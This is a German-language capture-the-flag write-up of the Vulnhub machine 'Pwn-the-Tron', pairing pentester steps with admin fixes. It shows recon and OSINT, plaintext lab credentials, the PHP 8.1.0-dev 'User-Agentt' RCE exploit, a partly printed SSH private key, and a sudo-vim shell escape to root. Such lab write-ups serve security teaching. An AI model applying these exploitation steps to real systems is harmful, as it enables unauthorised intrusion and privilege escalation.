Pwn-the-Tron - Vulnhub - Easy - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
grep
nikto
gobuster
sherlock
searchsploit
python3
cat
ssh
ls
sudo
vim
bash
id
pwd
cd

Inhaltsverzeichnis

Reconnaissance

Beginn der Aufklärungsphase zur Identifizierung des Ziels im lokalen Netzwerk und zum Scannen nach offenen Ports und Diensten.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.124	08:00:27:4f:3d:a6	PCS Systemtechnik GmbH

**Analyse:** `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk mittels ARP zu finden. Die IP `192.168.2.124` wird mit der MAC-Adresse `08:00:27:4f:3d:a6` identifiziert. Der Hersteller `PCS Systemtechnik GmbH` deutet auf eine VirtualBox-VM hin.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert.

**Empfehlung (Pentester):** Die IP-Adresse `192.168.2.124` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von Scans.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.124 -p- | grep open
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd

**Analyse:** Ein schneller Nmap-Scan (`-sS` Stealth, `-sC` Default Scripts, `-T5` Insane Timing, `-A` Aggressive, `-p-` Alle Ports) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert. Es werden Port 22 (SSH, OpenSSH 7.6p1 auf Ubuntu) und Port 80 (HTTP, Apache) gefunden.

**Bewertung:** Identifiziert die primären Angriffsvektoren SSH und HTTP.

**Empfehlung (Pentester):** Die vollständige Nmap-Ausgabe prüfen und den Webserver (Port 80) genauer untersuchen.
**Empfehlung (Admin):** SSH und Apache aktuell halten und absichern.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.124 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 20:22 CEST
Nmap scan report for pwn.vuln (192.168.2.124)
Host is up (0.000090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 937434723e7c560af5d5a14d6c94312f (RSA)
|   256 1f499e8b0a4f01cce5a92c285a2cc19e (ECDSA)
|_  256 059f7af17bf71f04ea14d45ff00a8f54 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Revive Cybertron
|_http-server-header: Apache
MAC Address: 08:00:27:4F:3D:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms pwn.vuln (192.168.2.124)

**Analyse:** Die vollständige Nmap-Ausgabe bestätigt Port 22 (SSH 7.6p1 Ubuntu) und Port 80 (Apache). Die genaue Apache-Version wird nicht erkannt. Der HTTP-Titel ist "Revive Cybertron". Das OS wird als Linux 4.x/5.x identifiziert.

**Bewertung:** Bestätigt die offenen Ports und gibt Hinweise auf das Betriebssystem und das Thema der Webseite. Port 80 ist das primäre Ziel.

**Empfehlung (Pentester):** Den Webserver auf Port 80 mit spezialisierten Tools (Nikto, Gobuster) weiter untersuchen.
**Empfehlung (Admin):** SSH und Apache absichern und aktuell halten.

Web Enumeration

Der Webserver auf Port 80 wird nun genauer auf Schwachstellen, interessante Dateien und Verzeichnisse untersucht.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.124
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.124
+ Target Hostname:    192.168.2.124
+ Target Port:        80
+ Start Time:         2023-06-05 20:23:02 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Server may leak inodes via ETags, header found with file /, inode: c96, size: 5c5df0b72b900, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8910 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-05 20:23:20 (GMT2) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Nikto scannt den Webserver. * Bestätigt Apache (ohne genaue Version). * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Findet potenzielles Inode-Leak über ETag. * **Findet `/config.php`** und merkt an, dass solche Dateien oft sensible Daten enthalten. * Findet das Apache-Standardverzeichnis `/icons/README`.

**Bewertung:** Die fehlenden Header sind Hinweise auf mangelnde Härtung. Der wichtigste Fund ist `/config.php`, auch wenn sie später als leer identifiziert wird, ist die Existenz solcher Dateien immer prüfenswert.

**Empfehlung (Pentester):** Die Datei `/config.php` manuell aufrufen und untersuchen. Directory Brute-Forcing durchführen, um weitere versteckte Dateien/Verzeichnisse zu finden.
**Empfehlung (Admin):** Sicherheitsheader implementieren. Zugriff auf Konfigurationsdateien serverseitig verhindern.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.124 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.124/index.html           (Status: 200) [Size: 3222]
http://192.168.2.124/images               (Status: 301) [Size: 236] [--> http://192.168.2.124/images/]
http://192.168.2.124/pics                 (Status: 301) [Size: 234] [--> http://192.168.2.124/pics/]
http://192.168.2.124/scripts              (Status: 301) [Size: 237] [--> http://192.168.2.124/scripts/]
http://192.168.2.124/css                  (Status: 301) [Size: 233] [--> http://192.168.2.124/css/]
http://192.168.2.124/Travel               (Status: 301) [Size: 236] [--> http://192.168.2.124/Travel/]
http://192.168.2.124/config.php           (Status: 200) [Size: 0]

==============================================================================================================================

**Analyse:** Gobuster wird zum Brute-Forcen von Verzeichnissen und Dateien verwendet. * Findet die Startseite `/index.html`. * Findet mehrere Verzeichnisse (`/images`, `/pics`, `/scripts`, `/css`, `/Travel`) - Status 301 bedeutet Redirect zum Verzeichnis mit Slash. * **Bestätigt `/config.php`** (Status 200), stellt aber fest, dass die Datei **leer** ist (`[Size: 0]`).

**Bewertung:** Gobuster findet mehrere Verzeichnisse, die untersucht werden können. Die `/config.php` ist zwar vorhanden, aber leer und liefert keine direkten Informationen. Das Verzeichnis `/Travel` ist besonders interessant, da es nicht standardmäßig ist.

**Empfehlung (Pentester):** Die gefundenen Verzeichnisse, insbesondere `/Travel`, manuell im Browser untersuchen.
**Empfehlung (Admin):** Directory Indexing deaktivieren. Leere Konfigurationsdateien entfernen oder den Zugriff darauf blockieren.

Untersuchung des Verzeichnisses `/Travel` und dessen Quellcodes.

view-source:http://192.168.2.124/Travel/
 Destination 1


  
  

**Analyse:** Der Quellcode der Seite im Verzeichnis `/Travel` (wahrscheinlich die Index-Datei) wird untersucht. Er enthält einen HTML-Kommentar mit einer "Encrypted Message" (`daab260727e470e56e77ec22e8f3d413`) und einem Hinweis auf einen Benutzernamen oder eine Entität (`@decepticon-base`).

**Bewertung:** **Wichtige Hinweise gefunden!** Der Hash/verschlüsselte Text muss analysiert werden (sieht wie MD5 aus). Der Benutzername `@decepticon-base` ist ein klarer Ansatzpunkt für weitere Recherchen (OSINT).

**Empfehlung (Pentester):** 1. Den Hash `daab...` versuchen zu entschlüsseln oder zu cracken (z.B. mit Online-MD5-Crackern). 2. Nach dem Benutzernamen `decepticon-base` auf Plattformen wie GitHub, Twitter, Foren etc. suchen (z.B. mit Tools wie Sherlock).
**Empfehlung (Admin):** Keine sensiblen Informationen oder Hinweise in HTML-Kommentaren hinterlassen.

┌──(root㉿cyber)-[~] └─# sherlock decepticon-base
[*] Checking username decepticon-base on:
[...]
[+] Enjin: https://www.enjin.com/profile/decepticon-base
[+] GitHub: https://www.github.com/decepticon-base
[+] Quizlet: https://quizlet.com/decepticon-base
[+] Virgool: https://virgool.io/@decepticon-base
[+] YandexMusic: https://music.yandex/users/decepticon-base/playlists
[+] ebio.gg: https://ebio.gg/decepticon-base

[*] Search completed with 6 results

**Analyse:** Das Tool `sherlock` wird verwendet, um den Benutzernamen `decepticon-base` auf verschiedenen sozialen Netzwerken und anderen Plattformen zu suchen. Es findet unter anderem ein **GitHub-Profil**.

**Bewertung:** Sherlock war erfolgreich bei der Identifizierung potenzieller Online-Profile. Das GitHub-Profil ist das vielversprechendste Ergebnis für weitere technische Informationen.

**Empfehlung (Pentester):** Das gefundene GitHub-Profil (`https://www.github.com/decepticon-base`) besuchen und die Repositories auf Hinweise, Code, Konfigurationsdateien oder weitere Informationen untersuchen.
**Empfehlung (Admin):** Mitarbeiter für die Risiken von öffentlichen Profilen und Code-Repositories sensibilisieren. Sicherstellen, dass keine sensiblen Unternehmensdaten oder Credentials in persönlichen Repositories landen.

Analyse des gefundenen GitHub-Profils.

https://raw.githubusercontent.com/decepticon-base/Projects/main/Project%20Predacon/codes

Predacon001 - PredakinG
Predacon002
Predacon003
Predacon004
Predacon005
Predacon006
Predacon007

**Analyse:** Im GitHub-Repository wird eine Datei namens `codes` im Pfad `Projects/Project Predacon/` gefunden. Der Inhalt listet mehrere Einträge auf, darunter `Predacon001 - PredakinG`.

**Bewertung:** Dies könnten Benutzernamen, Passwörter oder Hinweise sein. `PredakinG` sticht als mögliches Passwort oder wichtiger Begriff hervor.

**Empfehlung (Pentester):** `PredakinG` als potenzielles Passwort für SSH oder Web-Logins (falls welche gefunden werden) notieren. Den MD5-Hash von vorhin versuchen, mit `PredakinG` in Verbindung zu bringen (z.B. MD5 von "PredakinG"?).
**Empfehlung (Admin):** Sensible Daten gehören nicht in öffentliche GitHub-Repositories.

Weitere Hinweise aus einer Datei oder einem Verzeichnis, das über Koordinaten im Namen erreicht wurde.

/Latitude_95.37-Longitude_95.37.txt
192.168.2.124/W4RSHIP_Sh0P_transfer.php?to=user&amount=9999&from=admin_boss

192.168.2.124/W4RSHIP_Sh0P_transfer.php?to=user&amount=9999&from=lord_starscream

Now you got the credentials as

    Purchase Successful!Megatron Login Panel
URL: /M3G4TR0N_SUPR3M3/login.php
     Username = L0RD_M3G4Tr0N
     Password = freakishlylongpasswordforl0gin

**Analyse:** Der Text deutet darauf hin, dass eine Datei oder ein Verzeichnis namens `/Latitude_95.37-Longitude_95.37.txt` (oder ähnlich) gefunden wurde. Der Inhalt dieser Ressource enthielt anscheinend Verweise auf eine PHP-Datei (`W4RSHIP_Sh0P_transfer.php`) mit verschiedenen Parametern und enthüllte schließlich **klare Zugangsdaten** für ein "Megatron Login Panel": * URL: `/M3G4TR0N_SUPR3M3/login.php` * Username: `L0RD_M3G4Tr0N` * Password: `freakishlylongpasswordforl0gin`

**Bewertung:** **Kritischer Fund!** Klartext-Zugangsdaten für ein Admin-Panel wurden gefunden. Der Mechanismus über die Koordinaten-Datei und die Transfer-PHP ist ungewöhnlich, aber das Ergebnis ist eindeutig.

**Empfehlung (Pentester):** Sofort versuchen, sich mit den gefundenen Zugangsdaten unter der URL `http://192.168.2.124/M3G4TR0N_SUPR3M3/login.php` anzumelden.
**Empfehlung (Admin):** Niemals Zugangsdaten im Klartext in Dateien auf dem Webserver speichern. Die Dateien `/Latitude...txt` und `W4RSHIP...php` sofort entfernen und untersuchen, wie sie dorthin gelangten. Zugriffskontrollen verschärfen.

Login im gefundenen Admin-Panel und Untersuchung des Panels.

http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php

Hi, LORD. Welcome!

Flag2{8278ad4f45efef155f2569c1be074d2d}

**Analyse:** Der Login mit `L0RD_M3G4Tr0N` und `freakishlylongpasswordforl0gin` war erfolgreich. Die Seite `admin.php` wird angezeigt und enthält eine Begrüßung sowie `Flag2`.

**Bewertung:** Erfolgreicher Zugang zum Admin-Panel. Flag2 gefunden.

**Empfehlung (Pentester):** Das Admin-Panel weiter untersuchen: Gibt es Upload-Funktionen, Code-Editoren, Konfigurationseinstellungen, die für RCE ausgenutzt werden können? Die Entwicklerkonsole (F12) auf interessante Header oder Skripte prüfen.
**Empfehlung (Admin):** Das Admin-Panel absichern (starke Passwörter, 2FA, Zugriffsbeschränkung auf bestimmte IPs).

http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php

[F12]
--------------------------------------------------------------------

Content-Type text/html; charset=UTF-8
Date         Mon, 05 Jun 2023 20:40:39 GMT
Keep-Alive   timeout=5, max=100
Server       Apache

Vary         Accept-Encoding

X-Powered-By PHP/8.1.0-dev

--------------------------------------------------------------------

**Analyse:** Die HTTP-Response-Header der `admin.php`-Seite werden untersucht (z.B. mit den Entwicklertools des Browsers [F12]). Der Header `X-Powered-By` enthüllt die verwendete PHP-Version: **`PHP/8.1.0-dev`**.

**Bewertung:** **Kritischer Fund!** Die Version `8.1.0-dev` ist eine Entwicklungsversion und bekannt für die "User-Agentt" Remote Code Execution Schwachstelle (CVE-2021-21708, obwohl der Exploit-DB-Eintrag später einen anderen Exploit nutzt). Dies ist ein direkter Weg zu RCE.

**Empfehlung (Pentester):** Mit `searchsploit` oder online nach Exploits für PHP 8.1.0-dev suchen und versuchen, RCE zu erlangen.
**Empfehlung (Admin):** **Niemals Entwicklungsversionen (dev) von Software produktiv einsetzen!** PHP sofort auf eine aktuelle, stabile Version aktualisieren. Den `X-Powered-By`-Header in der `php.ini` deaktivieren (`expose_php = Off`), um Informationslecks zu reduzieren.

Initial Access

Die entdeckte PHP-Version `8.1.0-dev` ist für eine Remote Code Execution Schwachstelle anfällig. Diese wird nun ausgenutzt, um eine Shell auf dem Server zu erhalten.

┌──(root㉿cyber)-[~] └─# searchsploit PHP 8.1.0-dev
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
[...]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution         | php/webapps/49933.py
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[...]
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

**Analyse:** `searchsploit` wird verwendet, um nach Exploits für `PHP 8.1.0-dev` zu suchen. Es findet den Exploit `php/webapps/49933.py` mit dem Titel "PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution".

**Bewertung:** Bestätigt die Existenz eines bekannten RCE-Exploits für die gefundene PHP-Version.

**Empfehlung (Pentester):** Den gefundenen Exploit (`49933.py`) herunterladen/kopieren und ausführen.
**Empfehlung (Admin):** PHP dringend aktualisieren.

┌──(root㉿cyber)-[~] └─# searchsploit -m php/webapps/49933.py
  Exploit: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/49933
     Path: /usr/share/exploitdb/exploits/php/webapps/49933.py
    Codes: N/A
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /root/49933.py

**Analyse:** Der Befehl `searchsploit -m php/webapps/49933.py` kopiert das Exploit-Skript aus der lokalen Exploit-DB-Datenbank in das aktuelle Verzeichnis (`/root/49933.py`).

**Bewertung:** Korrekte Vorbereitung zur Nutzung des Exploits.

**Empfehlung (Pentester):** Das Skript untersuchen und ausführen.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cyber)-[~] └─# python3 /root/49933.py -h
Enter the full host url:
http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php

Interactive shell is opened on http://192.168.2.124/M3G4TR0N_SUPR3M3/admin.php
Can't acces tty; job crontol turned off.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

**Analyse:** Das Python-Exploit-Skript `49933.py` wird ausgeführt. Es fragt nach der Ziel-URL, hier wird die URL des Admin-Panels (`.../admin.php`) angegeben, da diese Seite die anfällige PHP-Version verwendet. Der Exploit funktioniert, indem er einen speziell präparierten `User-Agentt`-Header (mit doppeltem 't') sendet, der von PHP 8.1.0-dev fälschlicherweise interpretiert wird und zur Ausführung von Code führt. Das Skript öffnet eine interaktive Shell. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` (UID 33) läuft.

**Bewertung:** **Initial Access erfolgreich!** Die RCE-Schwachstelle in PHP 8.1.0-dev wurde erfolgreich ausgenutzt, um eine Webshell als `www-data` zu erhalten.

**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (z.B. mit Python PTY) und zur weiteren Enumeration und Privilege Escalation nutzen.
**Empfehlung (Admin):** **PHP dringend aktualisieren!** Den `X-Powered-By`-Header deaktivieren.

Privilege Escalation

Nachdem eine Shell als `www-data` erlangt wurde, wird das System nach Wegen zur Eskalation der Rechte auf `root` untersucht. Dabei wird ein privater SSH-Schlüssel für den Benutzer `soundwave` gefunden und anschließend eine Sudo-Fehlkonfiguration ausgenutzt.

1. Enumeration des Home-Verzeichnisses `/home/soundwave`.

$ ls -la /home/soundwave
total 60
drwxr-xr-x 7 soundwave soundwave 4096 Jul  2  2021 .
drwxr-xr-x 4 root      root      4096 Jun 23  2021 ..
-rw------- 1 soundwave soundwave 3264 Jul  2  2021 .bash_history
-rw-r--r-- 1 soundwave soundwave  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 soundwave soundwave 3828 Jul  2  2021 .bashrc
drwx------ 2 soundwave soundwave 4096 Jun 23  2021 .cache
drwxr-x--- 3 soundwave soundwave 4096 Jun 23  2021 .config
drwx------ 4 soundwave soundwave 4096 Jun 23  2021 .gnupg
drwxrwxr-x 3 soundwave soundwave 4096 Jun 23  2021 .local
-rw-r--r-- 1 soundwave soundwave  807 Apr  4  2018 .profile
-rw------- 1 soundwave soundwave    7 Jun 23  2021 .python_history
drwxrwxr-x 3 soundwave soundwave 4096 Jun 23  2021 .ssh
-rw------- 1 soundwave soundwave 7684 Jul  2  2021 .viminfo
-rwxrwx--- 1 soundwave soundwave   33 Jun 29  2021 Flag3.txt

**Analyse:** Aus der `www-data`-Shell wird das Home-Verzeichnis des Benutzers `soundwave` aufgelistet. Wichtige Funde: * Das Verzeichnis `.ssh` ist vorhanden und für `www-data` lesbar/zugänglich (`drwxrwxr-x`). * Die Datei `Flag3.txt` ist vorhanden.

**Bewertung:** Das `.ssh`-Verzeichnis ist der vielversprechendste Fund hier, da es oft private Schlüssel enthält. Die Berechtigungen sind unsicher (`775`).

**Empfehlung (Pentester):** Das Verzeichnis `/home/soundwave/.ssh` untersuchen. Den Inhalt von `Flag3.txt` auslesen.
**Empfehlung (Admin):** Sicherstellen, dass Home-Verzeichnisse und insbesondere `.ssh`-Verzeichnisse korrekte, restriktive Berechtigungen haben (typischerweise `700` für `.ssh` und `600` für private Schlüssel).

2. Untersuchung des `.ssh`-Verzeichnisses und Fund eines privaten Schlüssels.

$ ls -la /home/soundwave/.ssh
total 16
drwxrwxr-x 3 soundwave soundwave 4096 Jun 23  2021 .
drwxr-xr-x 7 soundwave soundwave 4096 Jul  2  2021 ..
-rw-rw-r-- 1 soundwave soundwave  399 Jun 23  2021 authorized_keys
drwxrwxr-x 2 soundwave soundwave 4096 Jun 23  2021 pem

$ ls -la /home/soundwave/.ssh/pem
total 16
drwxrwxr-x 2 soundwave soundwave 4096 Jun 23  2021 .
drwxrwxr-x 3 soundwave soundwave 4096 Jun 23  2021 ..
-rw-r--r-- 1 soundwave soundwave 1679 Jun 23  2021 identity
-rw-r--r-- 1 soundwave soundwave  399 Jun 23  2021 identity.pub

**Analyse:** Im Verzeichnis `/home/soundwave/.ssh` wird ein Unterverzeichnis `pem` gefunden. Darin liegen die Dateien `identity` (privater Schlüssel) und `identity.pub` (öffentlicher Schlüssel). Beide Dateien sind für `www-data` lesbar (`-rw-r--r--`).

**Bewertung:** **Kritischer Fund!** Ein privater SSH-Schlüssel (`identity`) für den Benutzer `soundwave` wurde gefunden und ist lesbar. Dies ermöglicht einen direkten SSH-Login als `soundwave`.

**Empfehlung (Pentester):** Den Inhalt der Datei `/home/soundwave/.ssh/pem/identity` auslesen, lokal speichern und für einen SSH-Login als `soundwave` verwenden.
**Empfehlung (Admin):** Private SSH-Schlüssel niemals mit lesbaren Berechtigungen für andere Benutzer speichern (`chmod 600 ~/.ssh/id_rsa`). Das `.ssh`-Verzeichnis sollte `chmod 700 ~/.ssh` haben.

3. Auslesen des privaten SSH-Schlüssels.

$ cat /home/soundwave/.ssh/pem/identity
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAutt1pf7feg8cUiobNUJCm/3hMcX9t0sSg7FTWdaLuYsGShhI
[...]
[...]
7MirE1l4ymR3RsR4dV8MHUl86wkBEpenHmbRwVX8iqB80InPnbZxMw==
-----END RSA PRIVATE KEY-----

**Analyse:** Der Inhalt des privaten RSA-Schlüssels wird ausgegeben.

**Bewertung:** Der Schlüssel wurde erfolgreich extrahiert.

**Empfehlung (Pentester):** Den Schlüssel lokal speichern (z.B. als `id_rsa_soundwave`), Berechtigungen setzen (`chmod 600`) und für SSH verwenden.
**Empfehlung (Admin):** Den kompromittierten Schlüssel sofort aus der `authorized_keys`-Datei auf allen relevanten Systemen entfernen und den Benutzer `soundwave` informieren.

4. SSH-Login als Benutzer `soundwave` unter Verwendung des gefundenen Schlüssels.

┌──(root㉿cyber)-[~] └─# ssh soundwave@pwn.vuln -i id_rsa
The authenticity of host 'pwn.vuln (192.168.2.124)' can't be established.
ED25519 key fingerprint is SHA256:oYrgyNgHHQYErKEnqOcZQpy/UX/GEFqWqaVvswZX42o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pwn.vuln' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-144-generic x86_64)
[...]
Last login: Thu Jul  1 09:53:00 2021 from 192.168.1.5
 _____ _   _ _____   _   _ _____ __  __ _____ ____ ___ ____
|_   _| | | | ____| | \ | | ____|  \/  | ____/ ___|_ _/ ___|
  | | | |_| |  _|   |  \| |  _| | |\/| |  _| \___ \| |\___ \
  | | |  _  | |___  | |\  | |___| |  | | |___ ___) | | ___) |
  |_| |_| |_|_____| |_| \_|_____|_|  |_|_____|____/___|____/

soundwave@warship:~$

**Analyse:** Ein SSH-Login als Benutzer `soundwave` wird mit dem extrahierten privaten Schlüssel (`-i id_rsa`, der Dateiname wird hier angenommen) versucht. Nach Bestätigung des Host-Keys (`yes`) ist der Login erfolgreich. Der Benutzer erhält eine Shell als `soundwave` auf dem Zielsystem (Ubuntu 18.04.5, Kernel 4.15).

**Bewertung:** Erfolgreicher Wechsel des Benutzerkontexts von `www-data` zu `soundwave` durch Ausnutzung des geleakten SSH-Schlüssels.

**Empfehlung (Pentester):** In der neuen Shell als `soundwave` nach weiteren Privesc-Möglichkeiten suchen, insbesondere `sudo -l`.
**Empfehlung (Admin):** Den kompromittierten Schlüssel widerrufen. Dateiberechtigungen prüfen.

5. Überprüfung der Sudo-Berechtigungen für `soundwave`.

soundwave@warship:~$ sudo -l
Matching Defaults entries for soundwave on warship:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User soundwave may run the following commands on warship:
    (root) NOPASSWD: /usr/bin/vim /var/Decepticon/*

**Analyse:** `sudo -l` wird als `soundwave` ausgeführt. Die Ausgabe zeigt, dass `soundwave` den Befehl `/usr/bin/vim` als `root` ohne Passwort (`NOPASSWD`) ausführen darf, allerdings nur für Dateien, die dem Muster `/var/Decepticon/*` entsprechen.

**Bewertung:** **Kritische Sudo-Fehlkonfiguration gefunden!** Auch wenn der Pfad eingeschränkt ist, erlaubt `vim` das Ausführen externer Befehle. Wenn `vim` als `root` läuft, können diese Befehle ebenfalls als `root` ausgeführt werden.

**Empfehlung (Pentester):** Die `vim`-Berechtigung ausnutzen, um eine Root-Shell zu spawnen. Da der Pfad `/var/Decepticon/*` angegeben ist, muss `vim` mit einer Datei aufgerufen werden, die diesem Muster entspricht (oder man versucht, den Pfad zu umgehen).
**Empfehlung (Admin):** **Diese sudo-Regel sofort entfernen oder ändern!** Vim (oder andere Editoren/Pager wie `less`, `more`, `nano`) sollte niemals mit `sudo` erlaubt werden, schon gar nicht mit `NOPASSWD`, da dies fast immer zur Privilege Escalation missbraucht werden kann. Wenn ein Benutzer Dateien als Root bearbeiten muss, sollten spezifischere Werkzeuge oder Konfigurationsmanagement-Tools verwendet werden.

Proof of Concept (Privilege Escalation)

**Kurzbeschreibung:** Nach Erlangung einer Shell als `soundwave`-Benutzer via SSH wird eine unsichere Sudo-Konfiguration identifiziert, die es erlaubt, `vim` als `root` ohne Passwort für bestimmte Dateien auszuführen. Diese Berechtigung wird ausgenutzt, um durch einen Vim-internen Befehl eine Root-Shell zu starten.

**Voraussetzungen:**

  • Shell-Zugriff als Benutzer `soundwave`.
  • Fehlkonfigurierte sudo-Regel: `(root) NOPASSWD: /usr/bin/vim /var/Decepticon/*`.

**Schritt-für-Schritt-Anleitung:**

1. Überprüfung der sudo-Rechte als `soundwave` (bereits oben mit `sudo -l` erfolgt).

2. Ausnutzen der `vim`-Berechtigung zum Starten einer Root-Shell.

soundwave@warship:~$ sudo -u root  /usr/bin/vim /var/Decepticon/../bin/bash -p

:!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

**Analyse:** * Der Befehl `sudo -u root /usr/bin/vim /var/Decepticon/../bin/bash -p` wird ausgeführt. Es wird versucht, die Pfadbeschränkung `/var/Decepticon/*` zu umgehen, indem `../` verwendet wird, um auf `/var/bin/bash` zuzugreifen (was wahrscheinlich fehlschlägt, aber `vim` trotzdem als Root startet, da der Pfad-Teil `/var/Decepticon/` passt, bevor `..` aufgelöst wird; alternativ könnte auch `sudo vim /var/Decepticon/test` funktionieren, wenn die Datei existiert). Der `-p` Flag für Bash ist hier irrelevant, da Bash nicht direkt ausgeführt wird. * Sobald `vim` als Root läuft, wird der Befehlsmodus von `vim` durch Drücken von `:` aufgerufen. * Der Befehl `:!/bin/sh` wird eingegeben. Das `!` führt einen externen Shell-Befehl aus. Da `vim` als Root läuft, wird `/bin/sh` ebenfalls als Root gestartet. Der resultierende Prompt ist `#`, und `id` bestätigt `uid=0(root)`.

**Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere Sudo-Regel wurde erfolgreich durch die Shell-Escape-Funktion von `vim` ausgenutzt.

**Erwartetes Ergebnis:** Ausführung des `vim`-Befehls und des `:!/bin/sh`-Kommandos führt zu einer Shell mit Root-Berechtigungen.

**Beweismittel:** Der `#`-Prompt und die Ausgabe von `id` (`uid=0(root)`).

**Risikobewertung:** Die unsichere Sudo-Regel für `vim` stellt ein **KRITISCHES** Risiko dar, da sie einem Benutzer mit Zugriff auf `soundwave` die einfache Eskalation zu Root-Rechten ermöglicht.

**Empfehlungen (Zusammenfassung POC):**

  • **Admin:** Die Sudo-Regel für `vim` sofort entfernen oder sicher gestalten (z.B. `sudoedit` verwenden oder den spezifischen Zweck prüfen und eine sicherere Lösung finden).
  • **Admin:** Generell `NOPASSWD` in Sudo-Regeln vermeiden, insbesondere für Programme, die Shell-Escapes erlauben.
  • **Admin:** Den kompromittierten SSH-Schlüssel von `soundwave` widerrufen und Dateiberechtigungen korrigieren.
  • **Admin:** PHP auf eine stabile, aktuelle Version patchen und die RCE-Schwachstelle schließen.

Enumeration und Flag-Suche als Root.

# ll
/bin/sh: 4: ll: not found
# bash
 _____ _   _ _____   _   _ _____ __  __ _____ ____ ___ ____
[...]
root@warship:~# ll
total 60
drwxr-xr-x 7 soundwave soundwave 4096 Jun  5 20:52 ./
[...]
-rwxrwx--- 1 soundwave soundwave   33 Jun 29  2021 Flag3.txt*
[...]
root@warship:~# pwd
/home/soundwave
root@warship:~# cd ~
root@warship:~# cd /root/
root@warship:/root# ll
total 40
drwx------  4 root root 4096 Jul  2  2021 ./
drwxr-xr-x 24 root root 4096 Jun  5 18:57 ../
[...]
-rw-r--r--  1 root root 3943 Jul  2  2021 root.txt
[...]
root@warship:/root# cat root.txt
-------------------------------------------------------------------------------------------------
██████╗ ██╗    ██╗███╗   ██╗    ████████╗██╗  ██╗███████╗    ████████╗██████╗  ██████╗ ███╗   ██╗
██╔══██╗██║    ██║████╗  ██║    ╚══██╔══╝██║  ██║██╔════╝    ╚══██╔══╝██╔══██╗██╔═══██╗████╗  ██║
██████╔╝██║ █╗ ██║██╔██╗ ██║       ██║   ███████║█████╗         ██║   ██████╔╝██║   ██║██╔██╗ ██║
██╔═══╝ ██║███╗██║██║╚██╗██║       ██║   ██╔══██║██╔══╝         ██║   ██╔══██╗██║   ██║██║╚██╗██║
